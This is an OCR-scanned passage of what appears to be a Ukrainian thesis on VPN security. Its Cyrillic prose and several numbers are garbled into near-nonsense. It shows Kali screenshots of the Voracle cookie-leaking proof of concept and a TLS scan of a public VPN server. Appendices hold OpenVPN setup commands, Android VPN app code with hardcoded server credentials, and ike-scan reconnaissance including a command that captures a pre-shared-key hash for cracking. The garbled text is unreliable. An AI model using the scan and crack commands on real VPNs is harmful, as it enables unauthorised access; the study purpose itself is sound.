12} via /UDPv4 on tun/18.233.36.205/ gw=[10.233.36.286/1]

Pucynox 3.16 — JlemoncTpartist miakmrodeHds 10 VPN

T kali@kali: ~/Desktop/voracle-master/attack
File Actions Edit View Help
kali@kali:...corefbuild X kali@kali: ~/Deskt...acle-master/attack X kal....~ X

inet 10.8.2.15 netmask 255.255.255.8 broadcast 10.8.2.255
inet6 fe80::a@0:27ff:fedb:966a prefixlem 64 scopeid @=20<Llink>
ether 08:00:27:db:96:6a txgueuelen 1008 (Ethernet)

RX packets 128390 bytes 174824808 (166.7 MiB)

R¥ errors @ dropped @ overruns @ frame @

TX packets 29813 bytes 3651167 (3.4 MiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.8.8.1 netmask 255.08.0.0
inete ::1 prefixlen 128 scopeid @xl1@<host>
loop txqueuelen 1008 (Local Loopback)
RX packets 56 bytes 3360 (3.2 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 56 bytes 3360 (3.2 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

~/Desktop/voracle-master/attack
mitm.py

~/Desktop/voracle-master/attack
mitm.py
Sniffing for OpenVPN Packets....
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=] kali@kali: ~/Desktop/fveracle-master
File Actions Edit View Help
kali@...build kali@kali: ~/D...-master/attack kali@kali: ...acle-master X

npm ENOENT

npm open

npm /home/kali/package. json

npm =7

npm ENDENT: no such file or directory, open '/home/kali/package.j

(]

son
npm This is related to npm not being able to find a file.

npm

npm A complete log of this run can be found in:
npm /home/kali/.npm/_logs/2822-06-10T10_33_08_8237-debug-0.log

~

Desktop

~/Desktop
voracle-master

~/Desktop/voracle-master
start

> voracle@l.9.@ start
> node server.js

Listening!

i
Pucynok 3.18 — JlemoHcTpalliss BAKOHaHHS KOMaHAW Npm start

’Ql—.'*‘BV|1 203 ® L1 B i 019‘6;34|ac
© GitHub - s voracle-test.s ) GitHub - ¢ & bash - Ope VPN Gate - D @ Problem | Insecure HTT ®© gfgdf- Mo Voracle Attac X = +

< C @ O D localhost s

KaliLinux #8 KaliTools ¢ KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Voracle

Compression Oracle Attack on
HTTP websites over VPN tunnels

This is a proof of concept for the Voracle attack

Leak the Secret Cookie please!

Pucynok 3.19 — Jlemonctpatis migxiroueHns g0 localhost
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k.

kali@kali: ~/Desktop/varacle-master

File Actions Edit View Help
kali@...build x kali@kali: ~/D...-master/attack X kali@kali: ...acle-master x

npm Jhome/kali/.npm/_logs/ 2-06-10T1@_33_@8_8237-debug-0.log

Desktop

-[~/Desktop]
voracle-master

-[~/Desktop/voracle-master]

start

> yoracle@l.®.® start
> node server.js

(=¥ = I

: sending.. Cookie: sessionId=! Cookie: sessit =1 yyuljtygzvfy
g quSFhEaF5qr@5z_ I-'=:[:[:rnl+11;'r '
eLength: sending .. Eankiﬂ i : essi =! yyuljtygzvfy
1nuumhmh_ I
: sending .. Eaak' : se ! Cookie essi =! yyuljtygzvfy
_-oquqfhﬂ fsqrész; g
g nding.. Co : i yyuljtygzvfy
lnuvmhm:_ 4:R+hua+sqxt
elength: sending.. Cookie: sessionId=! yyuljtygzvfy
1nuumhm EHQW4:R+hua+Jq:ﬂ Zol

(=)= ]

8

o m

Pucynox 3.20 — [IlemoHcTpariist mepebopy KyKiB

3.4 IlepeBipka Bpa3jimBOCTEH 32 I0MOMOTI0I0 CANTY

3a 10MOMOror caity pentest-tools.com 3poOHUMO MepeBipKy Ha MOXKJIUBI BPA3JIMBOCTI
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SSL/TLS Scanner (Light)

TARGET public-vpn-48.opengw.net

- Scan summary

Overall risk level Scan status
Medium Finished
Risk ratings Start time
High [0} 09.06.2022, 23:40:54
Finish time
Medium 2

09.06.2022, 23:44:04

[y 1 Scan duration
3 minutes, 10 seconds

Info 17 Tests performed
19/20

Pucynox 3.21 — Jlemonctparis tecryBanns IP anxpecy VPN cepsepa

4 Download report b3

- Findings v EXPAND ALL A COLLAPSE ALL
FILTER BY RISK LEVEL
All (20) High (0) Medium (2) Low (1) ® Info (17)
SSL/TLS: BEAST vulnerability found (port 443)
Risk description
BEAST, short for Browser Exploit Against SSL/TLS is an attack that leverages weaknesses in cipher block chaining (CBC) to exploit the
SSL/TLS protocol. The CBC vulnerability can enable man-in-the-middle (MITM) attacks against SSL to silently decrypt and obtain
authentication tokens, thereby providing hackers access to data passed between a Web server and the Web browser accessing the server.
The BEAST vulnerability is registered in the NIST NVD database as CVE-2011-3389.
Recommendation
To mitigate BEAST, it is recommended to reguire only TLS 1.1+ ciphers for your server and to reduce the lifespan of the SSL session. More
details can be found at https://community.pivotal.io/s/article/Mitigation-of-CVE-2011-3389-BEAST-for-web-server-administrators-2008784.
SSL/TLS: RC4 vulnerability found (port 443)
Risk description
Vulnerabilities in SSL RC4 Cipher Suites are very frequently found on networks around the world. The RC4 algorithm, as used in the TLS
protocol and SSL protocol, does not properly combine state data with key data during the initialization phase, which makes it easier for
remote attackers to conduct plaintext-recovery attacks against the initial bytes of a stream by sniffing network traffic. The RC4 related
vulnerabilities are registered in the NIST NVD database as CVE-2013-2566 and CVE-2015-2808.
Recommendation
Reconfigure the affected application, if possible, to avoid the use of RC4 ciphers. Consider using TLS 1.2 with AES-GCM suites subject to
browser and web server support.
Pucynox 3.22 — JlemoHcTpaitis ycix mpobiem
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- Findings
FILTER BY RISK LEVEL

All (20) High (0) Medium (2) Low (1) @ info (17)

@® SSL/TLS: Found 1 service with SSL/TLS support

PORT STATE SERVICE SERVER VERSION USES SSL/TLS
443 open https Yes

® Tested for certificate issues.

@® SSL/TLS: Certificate is Trusted

@ SSL/TLS: Certificate Chain of Trust is valid

® SSL/TLS: Certificate is Valid

@® SSL/TLS: Certificate Authority Issuer is valid
Checking for SSL/TLS vulnerabilities on port 443...

@ SSL/TLS: Not vulnerable to Heartbleed (port 443)

Pucynok 3.23 — JlemoHcTpallis 101aTKOBOT iH(pOopMaItii

3.5 BUCHOBKH 3 po3/iay

B uboMy po3nuii Oyau npoaHaiizoBaH1 MOXIIMBI BapiaHTH AJI OTPUMAaHHS
HECAHKI[IOHOBAHOTO JIOCTYITY /IO MPUBAaTHUX BIpTyalbHUX Mepexk. byo mpoBeneHo

JeK1TbKa BIJOMUX BPa3JIMBOCTEH 1 OTPUMAHO IMO3UTUBHHI pe3yJbTarT.
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BHUCHOBKU

B nmeprmomy po3aim Oyno npoanaiizoBano mpotokon OpenVPN ta anajorigsi
MPOTOKOJIA. ByJi0 MOPIBHAHO yC1 MTPOTOKOJIH, iX AKICTh MBHUAKICTh Ta MOXKJIUBOCTI JIJIst
MOJIaJIBIIIOTO PO3TOPTaHHS B OLIbII-MAcIITAOHUX BapiaHTaX. bylio moka3aHo BaxJnBi
HajamTyBaHHs 1711 VPN, K1 cyTT€BO BILUIMBAIOTh HA SIKICTh HAJaHHS IMOCTYT CBOIM
kiieHTaMm. L{e mamo po3yMiHHS MOCTABIICHOTO 3aBIaHHs Ta BUSHAYMIIO TIOJATBIINH
BEKTOpP POOOTH.

B npyroMy po3minii clipoeKTOBaHO Ta HAJIArOKECHO KOPIIOPATUBHY MEPEKEBY
CTPYKTYpy. bymna nocsrHyTa 1iJib CTBOPEHHSI CepBepa Ta KIIl€HTa Ha OCHOBI IMTPOTOKOJIA
OpenVPN. Pe3ynpTaToM 1IHOTO aHANi3y OyJI0 pO3TOpTaHHS 1 HAJAHHS 3BUYAITHOMY
KOPUCTOBAauy TYHEIIOBaHHS 3a onoMororo TexHoszorii OpenVPN, mo gano 3mory
cxoBartu peanbHU IP anpec. 3a qomoMororo o6mauaux pimenb AWS Oyiio po3ropHyTO
nekinbka BapianTiB OpenVPN. Ha 3akitodenns Oyiio mOpiBHSHO yCl1 pe3yJIbTaTH Ta
Ta0JUYHO MOKa3aH1 0COOJIMBOCTI KOKHOTO 3 PIIICHbD.

Ha ocHoBi mporo Oyino cdopmoBano ysBiaeHHs mnpo VPN koprnopaTuBHOI
MepexeBoi 1HPPACTPYKTYPH, MATOTOBIECHO CUCTEMY J0 MOKJIUBHX CIPOO 3A1HCHUTH
aTakd Ha BIPTyaJbHy TPUBATHY MEPEXKY, a TAKOXK IMiATOTOBICHO (yHIAMEHT IS
noaaneioro anamizyBanus VPN

B TperboMy po3auni Oynu mpoanHanmizoBaHi Bigomi BpasznuBocTi 'y VPN.
Pe3ynbraTomM aHamizy cTajio OTpUMaHHS 1HQpOpMalii IIOA0 MOXKJIMBUX HpoOJeM Ta

Croco0iB X BUPIIICHHS B TIPUBATHUX MEPEkKaX.
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Honatox A
Komanau nanamrysanus VPN cepsepa

sudo apt update

sudo apt install openvpn easy-rsa

mkdir ~/easy-rsa

In -s /usr/share/easy-rsa/* ~/easy-rsa/

sudo chown sammy ~/easy-rsa

chmod 700 ~/easy-rsa

cd ~/easy-rsa

nano vars

Jeasyrsa init-pki

cd ~/easy-rsa

Jeasyrsa gen-req server nopass

sudo cp /home/sammy/easy-rsa/pki/private/server.key /etc/openvpn/server/
scp /home/sammy/easy-rsa/pki/reqs/server.req sammy@your_ca_server_ip:/tmp
cd ~/easy-rsa

Jeasyrsa import-req /tmp/server.req server

Jeasyrsa sign-req server server

scp pki/issued/server.crt ssammy@your_vpn_server_ip:/tmp
scp pki/ca.crt sammy@your_vpn_server_ip:/tmp

sudo cp /tmp/{server.crt,ca.crt} /etc/openvpn/server

cd ~/easy-rsa

openvpn --genkey --secret ta.key

sudo cp ta.key /etc/openvpn/server

mkdir -p ~/client-configs/keys

chmod -R 700 ~/client-configs

cd ~/easy-rsa

Jeasyrsa gen-req clientl nopass

cp pki/private/clientl.key ~/client-configs/keys/

scp pki/regs/clientl.req sammy@your_ca_server_ip:/tmp
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cd ~/easy-rsa

Jeasyrsa import-req /tmp/clientl.req clientl

Jeasyrsa sign-req client clientl

scp pki/issued/clientl.crt sa mmy@your_server_ip:/tmp
cp /tmp/clientl.crt ~/client-configs/keys/

cp ~/easy-rsa/ta.key ~/client-configs/keys/

sudo cp /etc/openvpn/server/ca.crt ~/client-configs/keys/
sudo chown sammy.sammy ~/client-configs/keys/*
sudo cp lusr/share/doc/openvpn/examples/sample-config-files/server.conf.gz
/etc/openvpn/server/

sudo gunzip /etc/openvpn/server/server.conf.gz

sudo nano /etc/openvpn/server/server.conf

sudo nano /etc/sysctl.conf

sudo sysctl —p

ip route list default

sudo nano /etc/ufw/before.rules

sudo nano /etc/default/ufw

sudo ufw allow 1194/udp

sudo ufw allow OpenSSH

sudo ufw disable

sudo ufw enable

sudo systemctl -f enable openvpn-server@server.service

sudo systemctl start openvpn-server@server.service

sudo systemctl status openvpn-server@server.service

mkdir -p ~/client-configs/files

cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf ~/client-
configs/base.conf

nano ~/client-configs/base.conf

nano ~/client-configs/make_config.sh

chmod 700 ~/client-configs/make_config.sh
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mailto:openvpn-server@server.service
mailto:openvpn-server@server.service

cd ~/client-configs
/make_config.sh clientl

Is ~/client-configs/files

sftp sammy@openvpn_server_ip:client-configs/files/clientl.ovpn ~/

sudo apt update

sudo apt install openvpn

sudo dnf install epel-release

sudo dnf install openvpn

cat /etc/resolv.conf

sudo apt install openvpn-systemd-resolved
nano clientl.ovpn

Is /etc/openvpn

nano clientl.ovpn

sudo openvpn --config clientl.ovpn

systemd-resolve --status tun0
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mailto:sammy@openvpn_server_ip:client-configs/files/client1.ovpn%20~/

Jlomatox B
JlicTuHT MOOITHHOTO TOAATKY

MainFragment
package com.kobylynskyiv.dreamvpn.view.main

import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import

android.app.Activity

android.content.*

android.graphics.Color

android.net.VpnService

android.os.Bundle

android.os.RemoteException

android.text.Html

android.view.LayoutInflater

android.view.View

android.view.ViewGroup

android.widget.Toast

androidx.appcompat.app.AlertDialog
androidx.fragment.app.Fragment
androidx.localbroadcastmanager.content.LocalBroadcastManager
androidx.navigation.Navigation

com.bumptech.glide.Glide
com.google.android.gms.ads.AdRequest

com. kobylynskyiv.dreamvpn.R

com. kobylynskyiv.dreamvpn.databinding.FragmentMainBinding
com. kobylynskyiv.dreamvpn.model.VpnActive

com. kobylynskyiv.dreamvpn.view.utils.CheckInternetConnection
de.blinkt.openvpn.OpenVpnApi
de.blinkt.openvpn.core.OpenVPNService
de.blinkt.openvpn.core.OpenVPNThread
java.io.BufferedReader

java.lo.IOException

java.io.InputStreamReader

class MainFragment : Fragment () {

private val vpnThread = OpenVPNThread() ;
private val vpnService = OpenVPNService () ;
var vpnStart = false

private val connection: CheckInternetConnection by lazy { CheckInter-
netConnection() }

private val binding: FragmentMainBinding by lazy { FragmentMainBind-
ing.inflate(layoutInflater) }

override fun onCreateView (

) e

inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
View = binding.root

override fun onViewCreated(view: View, savedInstanceState: Bundle?) {

super.onViewCreated (view, savedInstanceState)

binding.circleContainer.setOnClickListener/{
binding.ripple.startRippleAnimation ()
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// Vpn is running, user would like to disconnect current con-

nection.

if (vpnStart) {
confirmDisconnect ()
} else {
prepareVpn ()
}
}

val adRequest = AdRequest.Builder () .setHttpTimeoutMil-

1is (200) .build()

binding.adView.loadAd (adRequest)
binding.countryCode.setOnClickListener {
Navigation.findNavController (view) .apply {
navigate (R.id.SelectFragment)

}
}

private fun confirmDisconnect () {
val builder = AlertDialog.Builder (requireActivity())
builder.setMessage (activity?.getString(R.string.connec-

tion close confirm))

builder.setPositiveButton (activity?.getString(R.string.yes)) { dia-

log, id -> stopVpn() }

builder.setNegativeButton (activity?.getString(R.string.no)) { dia-

log, id -> }

// Create the AlertDialog
val dialog = builder.create()
dialog.show ()

}

val internetStatus: Boolean get () = connection!!.netCheck (context)
/**

* Prepare for vpn connect with required permission

*/
private fun prepareVpn () {

if (!vpnStart) {
if (internetStatus) {

// Checking permission for network monitor
val intent = VpnService.prepare (context)
1

if (intent !'= null) {
startActivityForResult (intent, 1)
} else startVpn() //have already permission

// Update confection status
} else {

// No internet connection available
showToast ("you have no internet connection !!")

}
} else if (stopVpn()) {

// VPN is stopped, show a Toast message.
showToast ("Disconnect Successfully")
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}
/**

* Taking permission for network access

*/

override fun onActivityResult (requestCode: Int, resultCode: Int, data:

Intent?) {
super.onActivityResult (requestCode, resultCode, data)
if (resultCode == Activity.RESULT OK) {

//Permission granted, start the VPN
startVpn ()

} else {
showToast ("Permission Deny !! ")

/**
* Start the VPN
*/
private fun startvVpn() {
try {
// .ovpn file
val conf = activity?.assets?.open (VpnActive.activeVpn.ovpn)
val isr = InputStreamReader (conf)
val br = BufferedReader (isr)
var config = ""
var line: String-?
while (true) {
line = br.readLine ()

if (line == null) break
config += """

Sline

" o trimIndent ()

}

br.readLine ()

OpenVpnApi.startVpn (
context,
config,
VpnActive.activeVpn.name,
VpnActive.activeVpn.ovpnUserName,
VpnActive.activeVpn.ovpnUserPassword

)

// Update log
binding.logTv.text = "Connecting..."
vpnStart = true

} catch (e: IOException) {
e.printStackTrace ()

} catch (e: RemoteException) {
e.printStackTrace ()

fun setStatus (connectionState: String?) {
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if (connectionState != null) when (connectionState) {

"DISCONNECTED" -> {
vpnStart = false
OpenVPNService.setDefaultStatus ()
binding.logTv.text = "Disconnected"
binding.btnlIp.visibility = View.GONE
binding.ripple.stopRippleAnimation ()

}

"CONNECTED" -> {

vpnStart = true // it will use after restart this activity
binding.btnlIp.visibility = View.VISIBLE
binding.logTv.text = "Connected"
1
"WAIT" -> binding.logTv.text = "Waiting.."
"AUTH" -> binding.logTv.text = "Authorization.."
e {
binding.logTv.text = "Reconnecting..."
startVpn ()

}
"NONETWORK" -> {

binding.btnIp.visibility = View.GONE
binding.ripple.stopRippleAnimation ()
binding.logTv.text = "No network"

/**
* Stop vpn
* @return boolean: VPN status
*/
fun stopVpn(): Boolean {
try {
OpenVPNThread.stop ()
vpnStart = false
return true
} catch (e: Exception) {
e.printStackTrace ()

}

return false

*

Update status UI

@param duration: running time

@param lastPacketReceive: last packet receive time
@param byteIn: incoming data

@param byteOut: outgoing data

% X X X% ot

*/
fun updateConnectionStatus (
duration: String?,
lastPacketReceive: String,
byteIn: String,
byteOut: String,
ipAddress: String?

binding.time.text = duration
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binding.lastPacketReceiveTv.text = "$lastPacketReceive seconds"
binding.byteInTv.text = byteln
binding.byteOutTv.text = byteOut

}

/**
* Show toast message
* (@param message: toast message
*/
fun showToast (message: String?) ({
Toast.makeText (context, message, Toast.LENGTH SHORT) .show ()
}

var broadcastReceiver: BroadcastReceiver = object : BroadcastReceiver ()

override fun onReceive (context: Context, intent: Intent) {
try {
setStatus (intent.getStringExtra ("state"))
} catch (e: Exception) {
e.printStackTrace ()

}

try |
var duration = intent.getStringExtra ("duration")
var lastPacketReceive = intent.getStringExtra ("lastPack-

etReceive")
var byteIn = intent.getStringExtra ("byteIn")
var byteOut = intent.getStringExtra ("byteOut")
val ipAddress = intent.getStringExtra ("ipAddress")

if (duration == null) duration = "00:00:00"

if (lastPacketReceive == null) lastPacketReceive = "Q"
if (byteIn == null) byteIn = " "

if (byteOut == null) byteOut = " "

updateConnectionStatus (duration, lastPacketReceive, byteln,
byteOut, ipAddress)
} catch (e: Exception) {
e.printStackTrace ()

override fun onResume () {
super.onResume ()
Glide.with (requireView())
.load (VpnActive.activeVpn.flagUrl)
.into (binding.countryCode)

binding.country.text = VpnActive.activeCountry

binding.server.text = VpnActive.activeVpn.name

VpnActive.activeVpn.ovpnUserName

LocalBroadcastManager.getInstance (requireContext ()) .registerRe-
ceiver (broadcastReceiver, IntentFilter ("connectionState"))

}

override fun onPause () {
super.onPause ()
LocalBroadcastManager.getInstance (requireContext () ) .unregisterRe-

ceiver (broadcastReceiver)

}
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MainActivity

package com.kobylynskyiv.dreamvpn.view

import android.os.Bundle

import androidx.appcompat.app.AppCompatActivity

import androidx.navigation.findNavController

import androidx.navigation.ui.AppBarConfiguration

import androidx.navigation.ui.navigateUp

import com.google.android.gms.ads.MobileAds

import com.kobylynskyiv.dreamvpn.R

import com.kobylynskyiv.dreamvpn.databinding.ActivityMainBinding

class MainActivity : AppCompatActivity () {

private lateinit var appBarConfiguration: AppBarConfiguration

private val binding: ActivityMainBinding by lazy {
ActivityMainBinding.inflate (layoutInflater)

}

override fun onCreate (savedInstanceState: Bundle?) {
super.onCreate (savedInstanceState)
setContentView (binding.root)

val navController = findNavController (R.id.nav_host fragment con-
tent main)
appBarConfiguration = AppBarConfiguration (navController.graph)

binding.bottomNavigationView.setOnItemSelectedListener(
when (it.itemId) {

R.id.dashboard -> {
navController.navigate (R.id.MainFragment)
true

}

R.id.statistics -> {
navController.navigate (R.id.statisticsFragment)
true

}

else —> {

false
}
}
}
}
override fun onSupportNavigateUp () : Boolean {
val navController = findNavController (R.id.nav _host fragment con-
tent main)
return navController.navigateUp (appBarConfiguration) || super.on-
SupportNavigateUp ()
}
}
App
package com.kobylynskyiv.dreamvpn.view
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import android.app.Application
import com.google.android.gms.ads.MobileAds
import com.kobylynskyiv.dreamvpn.view.utils.AppOpenManager

class App

private var appOpenManager: AppOpenManager? =

Application () {

override fun onCreate () {

super.onCreate ()
MobileAds.initialize (this)

appOpenManager

SelectFragment

null

{1}

AppOpenManager (this) ;

package com.kobylynskyiv.dreamvpn.view.select

import
import
import
import
import
import
import
import
import

troller

import
import
import
import
import

import
import
import
import
import
import
import
import
import
import
import

android.content.DialogInterface

android.os.Bundle

android.view.LayoutInflater

android.view.View

android.view.ViewGroup

androidx
androidx
androidx
androidx

androidx

.fragment.app.Fragment

.fragment.app.viewModels

.lifecycle.lifecycleScope
.navigation.fragment.NavHostFragment.Companion.findNavCon-

.recyclerview.widget.RecyclerView

com.google.android.gms.ads.AdRequest
com.google.android.material.bottomnavigation.BottomNavigationView
com.google.android.material.bottomsheet.BottomSheetDialog
com.google.firebase.crashlytics.buildtools.reloc.com.google.com-
mon.reflect.TypeToken

com.
com.
com.
com.
com.
com.
com.
com.
com.

kobylynskyiv.
kobylynskyiv.
kobylynskyiv.
kobylynskyiv.
kobylynskyiv.
kobylynskyiv.
kobylynskyiv.
kobylynskyiv.
kobylynskyiv.

dreamvpn
dreamvpn
dreamvpn
dreamvpn
dreamvpn
dreamvpn
dreamvpn
dreamvpn
dreamvpn

kotlinx.coroutines.launch
java.lang.reflect.Type

class SelectFragment

private val binding:

private val viewModel:

Fragment ()

.R

.databinding.FragmentSelectBinding
.model.Server

.model.VpnActive

.model .VpnActive.activeCountry
.model.VpnActive.activeVpn
.view.select.adapter.CountryAdapter
.view.select.adapter.ServerAdapter
.view.select.viewmodel.SelectViewModel

{

FragmentSelectBinding by lazy { FragmentSe-
lectBinding.inflate (layoutInflater) }

override fun onCreateView (

SelectViewModel by viewModels ()

inflater: LayoutInflater, container: ViewGroup?,
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savedInstanceState: Bundle?
) : View = binding.root

override fun onResume () {
requireActivity () .findViewById<BottomNavigationView> (R.id.bottom-
NavigationView) .visibility = View.GONE
super.onResume ()

}

override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated (view, savedInstanceState)
lifecycleScope.launch {
viewModel.load ()

}

viewModel.items.observe (viewLifecycleOwner) {

var allServers = 0
for (item in it){ allServers += item.servers.size }
binding.servers.text = "All servers: SallServers"

binding.progressBar.visibility = View.GONE
binding.recyclerView.adapter = CountryAdapter(it) { position ->
val bottomSheetDialog = BottomSheetDialog (requireContext (),
R.style.bottomSheet)
val sheetView = LayoutInflater.from(context).inflate(R.lay-
out.include bottom sheet, binding.bottomSheet.root, false)
val recyclerView: RecyclerView = sheetView.findView-
ById(R.id.recyclerView)
recyclerView.adapter = ServerAdapter (it[position].servers) {
server ->
bottomSheetDialog.dismiss ()
activeVpn = server
activeCountry = it[position].county
requireActivity () .onBackPressed()
}
bottomSheetDialog.setContentView (sheetView)
bottomSheetDialog.setOnDismissListener { obj: DialogInter-
face -> obj.cancel() }
bottomSheetDialog. show ()
}

binding.back.setOnClickListener {
requireActivity () .onBackPressed ()

}

override fun onDestroy () {
super.onDestroy ()
requireActivity () .findViewById<BottomNavigationView> (R.id.bottom-
NavigationView) .visibility = View.VISIBLE
t
t

SelectViewModel

package com.kobylynskyiv.dreamvpn.view.select.viewmodel
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import androidx.lifecycle.MutablelLiveData

import androidx.lifecycle.ViewModel

import androidx.lifecycle.viewModelScope

import com.kobylynskyiv.dreamvpn.R

import com.kobylynskyiv.dreamvpn.model.ServerInfoData
import com.kobylynskyiv.dreamvpn.model.Server

import kotlinx.coroutines.Dispatchers

import kotlinx.coroutines.async

import kotlinx.coroutines.launch

import kotlinx.coroutines.withContext

@Suppress("UNUSED_EXPRESSION")
class SelectViewModel : ViewModel () {

val items: MutableliveData<lList<ServerInfoData>> = MutableliveData ()

private suspend fun loadServers(): List<ServerInfoData> ({
val servers = ArrayList<ServerInfoData> ()
servers.add (
ServerInfoData (
"Japan", // work
R.drawable. japan,
ArraylList<Server> () .apply {
add (
Server (
"None Information",
R.drawable.japan,
"japan.ovpn",
"vpn" ,
"Vpn
"public-vpn-120.o0pengw.net"))

"

)
)
servers.add (
ServerInfoData (
"Korea", //work
R.drawable. korea,
ArrayList<Server> () .apply {
add (
Server (
"Seongnam",
R.drawable. korea,

"korea.ovpn",
mwn

mww

"14.47.21.249")
)

)
)
servers.add (
ServerInfoData (
"Canada", //work
R.drawable.canada,
ArrayList<Server> () .apply {
add (
Server (
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)
)

"Montreal",
R.drawable.canada,
"ca.ovpn",
"vpnbook",
"9ntas3c",
"198.27.69.198")
)

add (
Server (

"Montreal 2",
R.drawable.canada,
"ca 2.ovpn",
"vpnbook",
"9ntas3c",
"192.99.37.222")

servers.add (
ServerInfoData (
"UA", //work
R.drawable.usa flag,
ArrayList<Server> () .apply {

)
)

add (
Server (
"Washington",
R.drawable.usa flag,
"us.ovpn",
"vpnbook",
"9ntas3c",
"198.7.62.204")
)
add (
Server (
"Washington",
R.drawable.usa flag,
"us 1.ovpn",
"vpnbook",
"9ntas3c",
"198.7.58.147")

servers.add (
ServerInfoData (
"France", //work
R.drawable.fr flag,
ArrayList<Server> () .apply {

add (
Server (
"Roubaix",
R.drawable.fr flag,
"fr.ovpn",

"vpnbook",
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"9ntas3c",

"37.187.158.97"))

add (
Server (
"Roubaix 2",
R.drawable.fr flag,
"fr 1.ovpn",
"vpnbook",
"O9ntas3c",
"94.23.57.8 80"))

)

servers.add (
ServerInfoData (

"Germany", //work

R.drawable.germany,

ArraylList<Server> () .apply {

add (
Server (

"Limburg",
R.drawable.germany,
"de.ovpn",

"vpnbook",
"9ntas3c",
"51.68.180.4")
)
}
)
)
return servers
}
suspend fun load() {
withContext (Dispatchers.IO) ({
val response = async { loadServers ()

items.postValue (response.await ())

ServerAdapter

package com.kobylynskyiv.dreamvpn.view.select.adapter

import android.annotation.SuppressLint
import android.view.LayoutInflater
import android.view.View

import android.view.ViewGroup

import android.widget.ImageView

import android.widget.TextView

import
import
import

import androidx.recyclerview.widget.RecyclerView
import com.bumptech.glide.Glide

androidx.appcompat.widget.AppCompatTextView
androidx.constraintlayout.widget.ConstraintLayout
androidx.core.content.ContentProviderCompat.requireContext

Kobununcoxuit B

3mn.

Apx.

Kpyuuncokuu A.T KIKKPE - 125 - 08 - I73

Apk. Ne doxym. Iionuc | Jama

86




import com.google.android.material.bottomsheet.BottomSheetDialog
import com.kobylynskyiv.dreamvpn.R

import com.kobylynskyiv.dreamvpn.model.Server

import com.kobylynskyiv.dreamvpn.model.ServerInfoData

class ServerAdapter (
private val items: List<Server>,
private val listener: (Server) -> (Unit)
) : RecyclerView.Adapter<ServerAdapter.MyViewHolder> () {
override fun onCreateViewHolder (parent: ViewGroup, viewType: Int):
MyViewHolder ({
val view = LayoutInflater.from(parent.context).inflate(R.lay-
out.item vpn, parent, false)
return MyViewHolder (view)

}

override fun onBindViewHolder (holder: MyViewHolder, @SuppressLint ("Re-
cyclerView") position: Int) {
holder.serverId.text = position.toString()
holder.country.text = items[position].name
holder.content.setOnClickListener ({
listener.invoke (items[position])

}

override fun getItemCount(): Int = items.size
inner class MyViewHolder (itemView: View) : Recycler-—
View.ViewHolder (itemView) {
val content: ConstraintLayout = itemView.findViewById(R.id.content)
var serverld: TextView = itemView.findViewById(R.id.serverId)

var country: TextView = itemView.findViewById(R.id.countryTv)
var ping: TextView = itemView.findViewById(R.id.appCompatTextView)

ServerPOJO

package com.kobylynskyiv.dreamvpn.model

import androidx.annotation.DrawableRes
import androidx.annotation.Keep

@Keep
data class Server (
val name: String,
@DrawableRes val flagUrl: Int,
val ovpn: String,
val ovpnUserName: String? = null,
val ovpnUserPassword: String? = null,
val ipAddress: String? = null
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root@bt:~# nmap -sU -p 500 172.16.21.200

KOM&H}II/I TCCTYBAaHHA HAa IPOHUKHCHHSA

Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST

JlonaTok C
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Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6¢c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned
handshake; 0 returned notify
Jikeforce.py <IP> # No parameters are required for scan -h for additional help
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned

HDR=(CKY-R=4f3ec84731e2214a)

SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
LifeDuration=28800)

VID=4048b7d56ebce88525e7de7f00d6¢c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address  No. Recv time Delta Time

172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
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172.16.21.200 4 1322286055.746972 8.000983

172.16.21.200

Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned

handshake; O returned notify

ike-scan -M -A -n <ID> --pskcrack=nhash.txt <IP> #If aggressive mode is supported and

you know the id, you can get the hash of the passwor
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